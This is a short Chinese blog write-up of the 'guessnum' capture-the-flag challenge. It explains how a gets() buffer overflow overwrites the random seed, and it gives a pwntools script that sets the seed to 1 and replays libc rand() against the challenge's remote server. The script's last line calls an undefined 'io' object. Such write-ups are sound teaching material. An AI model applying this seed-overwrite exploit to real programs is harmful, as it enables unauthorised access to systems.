攻防世界(4):guessnum

第一步 checksec查壳

ida分析,可发现执行sub_C3E()时可以得到flag

于是我们想办法让程序执行到sub_C3E,需要连续猜对10次数字,我们发现程序通过seed生成随机数,如果能把seed覆盖为已知数,就很容易完成了,前面的gets刚好给我们覆盖的机会

gets的地址是var_30

查看栈,var_30存在栈帧中占20h,后跟着seed的值的确可覆盖

利用srand编写exp

#!/usr/bin/env python                                                                                                   
from pwn import *                                                                                                       
from ctypes import *

p = remote('111.200.241.244', 39237)

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a' * 0x20 + p64(1).decode()
p.recvuntil('Your name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6+1)
    p.recvuntil('number:')
    p.sendline(num)

io.interactive()
posted @ 2021-02-26 09:26  triplewings  阅读(73)  评论(0编辑  收藏  举报